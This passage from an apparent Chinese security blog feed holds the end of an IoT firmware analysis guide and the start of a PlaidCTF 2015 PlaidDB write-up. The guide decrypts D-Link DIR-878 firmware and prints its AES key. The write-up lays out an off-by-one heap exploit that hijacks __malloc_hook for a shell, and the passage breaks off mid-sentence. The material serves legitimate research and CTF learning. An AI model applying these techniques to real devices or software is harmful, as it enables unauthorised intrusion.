class="headerlink" title="QEMU 运行异架构程序"></a>QEMU 运行异架构程序</h3><p>在 x86 架构的 Kali Linux 下模拟运行 ARM 结构下的 <code>busybox</code>，测试一下 QEMU 是否正常</p><p>由于我们是在 x86 架构上运行 ARM 架构的 32 位二进制可执行程序，因此使用 <code>qemu-arm-static</code> 来运行</p><blockquote><p>因为我们是运行二进制程序，因此使用 QEMU 用户态进行模拟，也就是带 <code>static</code> 的版本</p><p>还有一种带 <code>system</code> 的版本，是用于模拟系统级的 QEMU，其包括 CPU、内存、外设、操作系统等，能模拟出一个完整的操作系统环境</p></blockquote><p>查看是否安装了所需的 QEMU 版本：（如果是自己编译安装的 QEMU，可能在 <code>/usr/local/bin</code> 路径下）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">ls</span> /usr/bin/qemu-arm*<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA6.png" alt="IOT环境搭建6.png"></p><blockquote><p>注意：</p><p>必须根据文件的架构，使用相应架构的 QEMU 模块运行，不然会报 <code>Invalid ELF image for this architecture</code> 这个错误</p></blockquote><p>首先将 <code>qemu-arm-static</code> 移动到固件目录，然后给予 <code>busybox</code> 执行权限，使用 QEMU 运行该 ARM 架构的二进制程序</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">cp</span> /usr/bin/qemu-arm-static ./<span class="token function">chmod</span> +x ./bin/busybox<span class="token function">sudo</span> <span class="token function">chroot</span> <span class="token builtin class-name">.</span> ./qemu-arm-static ./bin/busybox<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>输出以下信息则说明运行成功：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA7.png" alt="IOT环境搭建7.png"></p><hr><h2 id="加密固件的分析"><a href="#加密固件的分析" class="headerlink" title="加密固件的分析"></a>加密固件的分析</h2><blockquote><p>厂商为了保护自己的产品，增加逆向分析的成本，通常会将路由器的固件进行加密，经过加密的固件使用一般的解包方法不能提取。要想分析这种固件，首先就要找到其对应的加密方法</p><p>实际上固件加密并不是随随便便拿来一种算法就可以的，由于家用路由器机能有限，所以 RSA 等效率较低的加密体系用的比较少，AES 或者 RC4 这些效率高的算法通常是首选的固件加密手段</p></blockquote><h3 id="加密场景"><a href="#加密场景" class="headerlink" title="加密场景"></a>加密场景</h3><blockquote><p>参考文章：<a href="https://blog.csdn.net/biyusr/article/details/126022176">路由器固件解密思路_固件加密解密-CSDN博客</a></p></blockquote><p>一般常见的路由器加密场景有：</p><ol><li>固件的初始版本未加密，后续某个版本加密了，在加密版本与初始版本中间的某个版本附带了解密程序</li></ol><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA16.png" alt="IOT环境搭建16.png"></p><p>我们可以通过获取附带了解密程序的中间版本，分析其解密程序，然后用于固件解密</p><ol start="2"><li>固件的老版本有加密，但是后续更换了加密方式，中间版本发布了未加密的过渡版本固件</li></ol><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA17.png" alt="IOT环境搭建17.png"></p><p>我们可以通过获取带有解密程序的过渡版本固件分析，提取解密程序，然后用于固件解密</p><ol start="3"><li>固件的老版本有加密，但是后续更换了加密方式，中间版本更换了新的未加密的解密程序</li></ol><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA18.png" alt="IOT环境搭建18.png"></p><p>如果清楚早期加密方式，或者拥有早期解密程序，可以去分析更换解密程序的中间版本，来获取解密程序</p><p>如果没有早期相关解密信息，则更多是购买设备，从硬件直接提取未加密的固件</p><p>理论上也可以使用二进制对比分析工具，来分析尝试提取复原解密程序</p><hr><h3 id="判断方法"><a href="#判断方法" class="headerlink" title="判断方法"></a>判断方法</h3><blockquote><p>参考文章：</p><ol><li><a href="https://blog.csdn.net/biyusr/article/details/126022176">路由器固件解密思路_固件加密解密-CSDN博客</a>  </li><li><a href="https://www.anquanke.com/post/id/198311#h2-0">如何处理加密路由器固件-安全客 - 安全资讯平台</a></li></ol></blockquote><h4 id="通过信息熵分析"><a href="#通过信息熵分析" class="headerlink" title="通过信息熵分析"></a>通过信息熵分析</h4><blockquote><p>熵泛指某些物质系统状态的一种量度，某些物质系统状态可能出现的程度</p><p>熵值越小，说明重复内容越多，系统越不稳定；熵值越大，说明信息中重复的内容越少，系统越稳定</p></blockquote><ul><li><p>对于没有加密的二进制文件来说，一些指令出现的频率通常很高，并且数据结构几乎没有随机性，所以熵值一般比较低  </p></li><li><p>对于经过加密的二进制文件来说，都会想尽办法隐藏自己的信息，而导致很少有重复的内容，所以熵值一般都会比较高</p></li></ul><p>提前安装 <code>Matplotlib</code> 库：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">pip <span class="token function">install</span> Matplotlib<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>查看固件的信息熵：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">binwalk <span class="token parameter variable">-E</span> 路由器固件（一般以 .bin 或 .img 为后缀）<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>以 D-Link 的 <code>DIR_878_FW1.30B08.bin</code> 固件为例，该固件是被加密过的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA10.png" alt="IOT环境搭建10.png"></p><p>可以看到其熵值几乎稳定在 1.0，符合加密的特点</p><blockquote><p>经过我对多个固件的多次测试，发现<em>通过熵值来判断固件是否加密不是特别可靠，仅仅只能作为一个参考</em></p><p>比如，以下是未加密的固件 <code>RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img</code> 熵值：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA12.png" alt="IOT环境搭建12.png"></p><p>但我发现，<strong>未加密的固件熵值都是稳定的一条线，反而加密的固件最开始会有一段小波动，也许可以作为判断依据？</strong></p></blockquote><hr><h4 id="通过十六进制数据分析"><a href="#通过十六进制数据分析" class="headerlink" title="通过十六进制数据分析"></a>通过十六进制数据分析</h4><p>使用 010 Editor 等十六进制查看工具打开固件，判断其中是否包含 <code>0xFF</code> 或 <code>0x00</code> 字节、是否为随机的数据</p><p>以 D-Link 的 <code>DIR_878_FW1.30B08.bin</code> 固件为例，该固件是被加密过的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA11.png" alt="IOT环境搭建11.png"></p><p>其中间版本固件 <code>DIR878A1_FW104B05_Middle_FW_Unencrypt.bin</code> 是未加密的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA13.png" alt="IOT环境搭建13.png"></p><p>可以看到加密的固件中间出现了大面积的 <code>0x00</code> 断层，并且几乎不存在有意义的字符</p><p>而<strong>未加密的固件开头是存在固件的设备型号和系统等信息的</strong></p><hr><h4 id="通过-binwalk-分析"><a href="#通过-binwalk-分析" class="headerlink" title="通过 binwalk 分析"></a>通过 binwalk 分析</h4><p>通过 <code>binwalk</code> 直接分析固件也是可以判断固件是否被加密的：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">binwalk 路由器固件（一般以 .bin 或 .img 为后缀）<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>未加密的固件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA14.png" alt="IOT环境搭建14.png"></p><p>加密的固件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA15.png" alt="IOT环境搭建15.png"></p><p>可见被加密的固件无法被 <code>binwalk</code> 分析出任何信息</p><hr><h3 id="固件解密"><a href="#固件解密" class="headerlink" title="固件解密"></a>固件解密</h3><blockquote><p>以 D-Link 的 <code>DIR_878_FW1.30B08.bin</code> 固件为例</p><p>下载地址：<a href="https://support.dlink.com/resource/PRODUCTS/DIR-878/REVA/DIR-878_REVA_FIRMWARE_v1.30B08.zip">DIR_878_FW1.30B08.bin</a></p></blockquote><p>我们通过在 D-Link 官网找到该固件：<a href="https://support.dlink.com/ProductInfo.aspx?m=DIR-878">D-Link Technical Support</a></p><p>发现该设备为 DIR-878，其存在很多历史版本：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA19.png" alt="IOT环境搭建19.png"></p><p>将固件所有的历史版本下载进行查看：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA20.png" alt="IOT环境搭建20.png"></p><p>在中间版本 <code>DIR-878_REVA_FIRMWARE_v1.10B05</code> 文件夹中，有一个名为 <code>DIR878A1_FW104B05_Middle_FW_Unencrypt.bin</code> 的固件，这就是我们前面提到的未加密的中间版本了</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA21.png" alt="IOT环境搭建21.png"></p><p>通过 <code>binwalk</code> 提取固件系统：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA22.png" alt="IOT环境搭建22.png"></p><p>在 <code>/bin</code> 目录下存在一个名为 <code>imgdecrypt</code> 的二进制程序：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA23.png" alt="IOT环境搭建23.png"></p><p>尝试通过 QEMU 运行它，由于该程序架构是 MIPS32 小端序，我们使用 <code>qemu-mipsel-static</code> 来模拟：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA24.png" alt="IOT环境搭建24.png"></p><p>根据输出信息，是需要传入一个参数 <code>&lt;sourceFile&gt;</code></p><p>尝试用这个程序为 <code>DIR_878_FW1.30B08.bin</code> 固件解密，将参数 <code>&lt;sourceFile&gt;</code> 设置为加密的固件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA25.png" alt="IOT环境搭建25.png"></p><p>执行后程序输出了 <code>key:C05FBF1936C99429CE2A0781F08D6AD8</code></p><p>但是发现这样解密失败，仍然无法解压固件，<strong>貌似必须将加密固件放在文件系统内</strong></p><p>我这里放在 <code>/tmp</code> 目录下，然后再次运行 <code>imgdecrypt</code> 程序，直接使用 <code>binwalk</code> 分析 <code>/tmp</code> 目录下的固件会报权限错误，需要使用 <code>sudo binwalk</code></p><p>可以看到 <code>binwalk</code> 已经可以正常分析被加密的固件，说明我们解密成功：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA26.png" alt="IOT环境搭建26.png"></p><p>然后我们来看看 <code>imgdecrypt</code> 这个二进制程序，使用 IDA 7.7 打开：（IDA 7.0 以上版本自带 MIPS 架构反编译插件，如果没有，也可以自己安装 RetDec 插件：<a href="https://github.com/avast/retdec-idaplugin">avast&#x2F;retdec-idaplugin: RetDec plugin for IDA</a>）</p><p>主函数如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA27.png" alt="IOT环境搭建27.png"></p><p>主要解密逻辑主要涉及到 <code>AES</code>、<code>RSA</code> 和 <code>sha512</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA28.png" alt="IOT环境搭建28.png"></p><hr>]]></content>
    
    
    <summary type="html">主要涉及搭建和分析 IoT 固件的环境，这是分析和挖掘 IoT 漏洞的前置基础，同时举例说明了加密固件的几种场景及其处理方法，也包含了很多坑点的说明和解决</summary>
    
    
    
    <category term="IoT固件分析" scheme="https://www.uf4te.cn/categories/IoT%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90/"/>
    
    
    <category term="QEMU" scheme="https://www.uf4te.cn/tags/QEMU/"/>
    
    <category term="IoT" scheme="https://www.uf4te.cn/tags/IoT/"/>
    
    <category term="GNS3" scheme="https://www.uf4te.cn/tags/GNS3/"/>
    
    <category term="固件解密" scheme="https://www.uf4te.cn/tags/%E5%9B%BA%E4%BB%B6%E8%A7%A3%E5%AF%86/"/>
    
  </entry>
  
  <entry>
    <title>【plaidctf 2015】PlaidDB</title>
    <link href="https://www.uf4te.cn/posts/14f0dc5a.html"/>
    <id>https://www.uf4te.cn/posts/14f0dc5a.html</id>
    <published>2024-05-31T09:22:41.000Z</published>
    <updated>2025-10-29T08:21:01.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h1><ul><li>利用 off-by-one 漏洞造成 Chunk Overlap，通过对堆的布局利用 <code>unsorted bin</code> 修改已有 <code>chunk</code> 内容为 <code>bk</code> 指针，泄露 libc 地址，并利用 fast bin attack，错位伪造 <code>chunk</code>，劫持 <code>__malloc_hook</code> 为 one_gadget 来 getshell</li></ul><hr><p><a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/2015_plaidctf_datastore">【plaidctf 2015】PlaidDB</a></p><hr><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><blockquote><p>本地环境：Glibc 2.23</p></blockquote><p>查看保护，64 位保护全开：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb1.png" alt="【plaidctf 2015】plaiddb1.png"></p><p>尝试运行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb2.png" alt="【plaidctf 2015】plaiddb2.png"></p><p>IDA 下分析：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb3.png" alt="【plaidctf 2015】plaiddb3.png"></p><p>程序最开始会初始化三个堆，经过后面的分析可以知道，第一个堆存放的是结构体，主要使用了二叉树的结构来存储数据：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">struct</span> <span class="token class-name">Node</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> <span class="token operator">*</span>key<span class="token punctuation">;</span>    <span class="token keyword">long</span> data_size<span class="token punctuation">;</span>    <span class="token keyword">char</span> <span class="token operator">*</span>data<span class="token punctuation">;</span>    <span class="token keyword">struct</span> <span class="token class-name">Node</span> <span class="token operator">*</span>left<span class="token punctuation">;</span>    <span class="token keyword">struct</span> <span class="token class-name">Node</span> <span class="token operator">*</span>right<span class="token punctuation">;</span>    <span class="token keyword">long</span> dummy<span class="token punctuation">;</span>    <span class="token keyword">long</span> dummy1<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>不过关于树的结构我没太看懂。。。网上说是红黑树？我只知道前三个指针，但是二叉树各节点之间的关系是怎么来的不太明白</p></blockquote><p>其初始化 <code>row_key</code> 为 <code>th3fl4g</code>，初始化 <code>data</code> 为 <code>youwish</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb11.png" alt="【plaidctf 2015】plaiddb11.png"></p><p>程序运行时 <code>PROMPT: Enter command:</code> 是在 <code>sub_1A20()</code> 函数中定义的，有 <code>GET</code>、<code>PUT</code>、<code>DUMP</code>、<code>DEL</code>、<code>EXIT</code> 这几种命令：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb4.png" alt="【plaidctf 2015】plaiddb4.png"></p><p><code>GET</code> 功能：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb5.png" alt="【plaidctf 2015】plaiddb5.png"></p><p>首先通过 <code>sub_1040()</code> 函数读取 <code>row_key</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb6.png" alt="【plaidctf 2015】plaiddb6.png"></p><p>首先 <code>malloc(8)</code> 来存放 <code>row_key</code> ，如果空间大小不够，再 <code>realloc()</code></p><blockquote><p>仔细观察可以发现 <code>sub_1040()</code> 函数这个输入存在 off-by-null 漏洞，如果将数据写满，该函数会溢出 1 字节，并将其置为 NULL</p></blockquote><p><code>PUT</code> 功能：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb7.png" alt="【plaidctf 2015】plaiddb7.png"></p><p>主要是输入一些数据，首先 <code>malloc(0x38)</code> 申请了一个堆块用于存放结构体</p><p>同样使用了 <code>sub_1040()</code> 函数来读取 <code>row_key</code>，并申请了第二个堆块，指针存放在 <code>*v0</code></p><p>然后 <code>malloc(v1)</code> 申请了第三个堆块，读入 <code>size</code> 大小的数据 <code>data</code></p><p>通过调试来验证一下，执行 <code>PUT(1, 2, b&#39;a&#39;)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb9.png" alt="【plaidctf 2015】plaiddb9.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb10.png" alt="【plaidctf 2015】plaiddb10.png"></p><p><code>DEL</code> 功能：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb16.png" alt="【plaidctf 2015】plaiddb16.png"></p><p>这个函数实现的是删除功能，由于是二叉树结构，这个函数比较复杂，只需要知道是按照 <code>row_key</code> 来进行删除的就行，<code>row_key</code> 通过 <code>sub_1040()</code> 函数读取，依然是存在 off-by-one 漏洞的</p><p>现在根据以上分析，结合程序运行，可以大致知道该程序的功能了：</p><ul><li><code>PUT</code> 插入数据，包括 <code>row_key</code>、<code>data_size</code>、<code>data</code>  </li><li><code>GET</code> 打印 <code>row_key</code> 对应的 <code>data</code>  </li><li><code>DUMP</code> 打印所有 <code>row_key</code>  </li><li><code>DEL</code> 删除 <code>row_key</code> 对应的数据</li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb8.png" alt="【plaidctf 2015】plaiddb8.png"></p><p>虽然输入 <code>row_key</code> 时存在 off-by-one 漏洞，但特殊在于，其使用了 <code>realloc()</code> 使分配的大小通过可用空间大小乘二的方式增大</p><p>也就是说想要触发这个漏洞，对于分配的大小有要求，满足该要求的大小有：<code>0x18</code>、<code>0x38</code>、<code>0x78</code>、<code>0xf8</code>、<code>0x1f8</code> 等</p><blockquote><p>通过 off-by-one 漏洞溢出后，可以造成 Chunk Overlap，并泄露 libc 地址，且可以形成 UAF，对于 UAF 漏洞首选 fast bin attack 的方法</p></blockquote><p>我们首先需要有一个处于释放状态的 <code>unsorted bin chunk</code> 或者 <code>small bin chunk</code>，然后在其下方还需要一个进行溢出的 <code>chunk</code> 和被溢出的 <code>chunk</code></p><p>然后利用 off-by-one 漏洞，使它们全都被合并为一个处于释放状态的 <code>chunk</code>，这样中间任意 <code>chunk</code> 的位置如果是已被分配的，就可以造成 Chunk Overlap</p><p>大致结构如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>            <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> free 的 unsorted bin 或是 small bin chunk （因为此时 fd 和 bk 指向合法指针，才能够进行 unlink）<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>     <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> 任意 chunk<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>            <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> 进行溢出的 chunk<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>    vuln    <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> 被溢出的 chunk，大小为 <span class="token number">0</span>x_00 （例如 <span class="token number">0x100</span><span class="token punctuation">,</span> <span class="token number">0x200</span>……）<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>结合 <code>sub_1040()</code> 函数通过 <code>malloc(8)</code> 再 <code>realloc()</code> 的分配方式，对于堆的布局有以下要求：</p><ol><li>任意 <code>chunk</code> 位置至少有一个已经被分配、且可以读出数据的 <code>chunk</code> 来泄露 <code>libc</code> 地址  </li><li>任意 <code>chunk</code> 位置至少还需要有一个已经被释放、且 <code>size</code> 为 <code>0x71</code> 的 <code>chunk</code> 来进行 <code>fast bin attack</code>  </li><li>进行溢出的 <code>chunk</code> 需要在最上方的 <code>chunk</code> 之前被分配，否则 <code>malloc(8)</code> 的时候会分配到最上方，而不是进行溢出 <code>chunk</code> 所在的下方的位置  </li><li>进行溢出的 <code>chunk</code> 大小应该属于 <code>unsorted bin</code> 或是 <code>small bin</code>，不能为 <code>fast bin</code>，否则被释放之后，按照 <code>sub_1040()</code> 函数的分配方式，<code>malloc(8)</code> 无法分配在该位置  </li><li>最下方应该有一个已经被分配的 <code>chunk</code> 来防止与 <code>top chunk</code> 合并</li></ol><p>按照上述要求，完整的堆结构应该如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>      chunk <span class="token number">1</span>     <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> free 的 size <span class="token operator">==</span> <span class="token number">0x200</span> chunk<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>      chunk <span class="token number">2</span>     <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> size <span class="token operator">==</span> <span class="token number">0x60</span> fastbin chunk，已被分配，且可以读出数据<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>      chunk <span class="token number">3</span>     <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> size <span class="token operator">==</span> <span class="token number">0x71</span> fastbin chunk，为 fastbin attack 做准备<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>      chunk <span class="token number">4</span>     <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> size <span class="token operator">==</span> <span class="token number">0x1f8</span> free 状态的 small bin<span class="token operator">/</span>unsorted bin chunk<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>      chunk <span class="token number">5</span>     <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> size <span class="token operator">==</span> <span class="token number">0x101</span> 被溢出 chunk<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span class="token operator">|</span>         X        <span class="token operator">|</span>  <span class="token operator">&lt;</span><span class="token operator">--</span> 任意分配后 chunk 防止 top chunk 合并<span class="token operator">+</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">+</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>由于分配过程中还存在一些额外结构，包括结构体本身的分配和 <code>sub_1040()</code> 函数，因此需要先释放出足够的 <code>fast bin chunk</code> 来避免结构体本身的分配对我们布置的对结构造成影响</p><p>这里通过先执行 10 次 <code>PUT()</code> 和 10 次 <code>DEL()</code> 来实现：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb12.png" alt="【plaidctf 2015】plaiddb12.png"></p><p>构造好我们需要的堆块后，分别 <code>free</code> 掉 <code>chunk 3</code>、<code>chunk 4</code> 和 <code>chunk 1</code></p><p><code>DEL(b&#39;3&#39;)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb13.png" alt="【plaidctf 2015】plaiddb13.png"></p><p><code>DEL(b&#39;4&#39;)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb14.png" alt="【plaidctf 2015】plaiddb14.png"></p><p><code>DEL(b&#39;1&#39;)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb15.png" alt="【plaidctf 2015】plaiddb15.png"></p><p>这样就形成了我们所需要的堆结构</p><p>然后利用 <code>DEL()</code> 中 <code>sub_1040()</code> 函数读取 <code>row_key</code> 时的 off-by-one 漏洞，将 <code>chunk 4</code> 写满，并溢出覆盖 <code>chunk 5</code> 的 <code>prev_size</code> 域：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb18.png" alt="【plaidctf 2015】plaiddb18.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb17.png" alt="【plaidctf 2015】plaiddb17.png"></p><p>这里覆盖的是 <code>0x4e0</code>，因为我们为了造成 Chunk Overlap，需要让这些 <code>chunk</code> 全部被合并为一个处于释放状态的 <code>chunk</code></p><p>因此 <code>chunk 5</code> 的 <code>prev_size</code> 域需要修改为前几个 <code>chunk</code> 的大小之和，即：<code>0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30</code></p><p>然后 <code>free</code> 掉 <code>chunk 5</code>，这些 <code>chunk</code> 将会被合并成一个 <code>unsorted bin</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb19.png" alt="【plaidctf 2015】plaiddb19.png"></p><p>由于此时还存在一个 <code>0x360</code> 的 <code>small bin</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb20.png" alt="【plaidctf 2015】plaiddb20.png"></p><p>为了防止干扰，需要先通过 <code>PUT(b&#39;0x200&#39;, 0x200, 